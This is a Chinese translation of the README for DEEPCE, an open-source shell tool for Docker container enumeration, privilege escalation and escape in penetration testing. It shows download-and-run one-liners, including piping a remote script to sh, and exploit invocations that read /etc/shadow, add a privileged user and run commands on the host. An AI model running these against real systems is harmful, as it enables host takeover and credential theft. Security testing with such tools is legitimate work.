## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Docker 枚举、权限提升与容器逃逸(DEEPCE)
为了与尽可能多的容器兼容,DEEPCE 使用纯 sh 编写,无任何依赖。如果可用,它会使用 curl、nmap、nslookup 和 dig 等额外工具,但在大多数情况下并不依赖它们进行枚举。
枚举过程不应触碰磁盘,但大多数漏洞利用会创建新容器,从而造成磁盘写入,并且某些漏洞利用会覆盖 runC,这可能是破坏性的,因此请小心!
请参阅下方 DEEPCE 可使用的枚举、漏洞利用和载荷列表。如果你有更多想法,请在 GitHub 上提交 issue!
DEEPCE 可以通过以下任一一行命令下载到主机或容器中。提示:下载到 /dev/shm 以避免触碰磁盘。
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
如果你喜欢我正在做的 Deepce 和其他项目,现在可以直接支持我的工作!通过请我喝咖啡 ☕,你不仅在满足我的咖啡因需求——还在帮助我投入更多时间来开发和改进这些开源项目。每一杯咖啡都很重要,并为网络安全世界带来更多创新。感谢你的支持——这对我个人和开源社区都意义重大!
更多内容请查看文档文件夹

以下是 DEEPCE 执行的枚举列表。
对于上述每个漏洞利用,都可以定义载荷以利用宿主机系统。这些包括:
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
以下示例展示了可以执行的不同类型的漏洞利用以及可用的载荷。
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow 的内容:./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
可以在不触碰磁盘的情况下下载并运行 deepce,但这样你将无法轻松设置参数(可以使用 export 直接操作变量)。
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
在编写此脚本时,我从一些出色的容器枚举/逃逸脚本和枚举工具中获得了灵感。然而,我觉得有必要用纯 sh 编写一个,以避免安装 go / ruby 依赖或依赖静态二进制文件。我还希望执行更多的枚举,以尝试发现 Docker 容器是什么,因为在测试过程中我们可能最终会进入一个未知的容器。这个脚本能枚举的内容数量超乎我的控制,因为每次我添加新东西时,都会想到更多可以添加的额外内容。
面向寻找 Docker 安全提示的开发人员 https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
欢迎提交 pull request、issue 和反馈。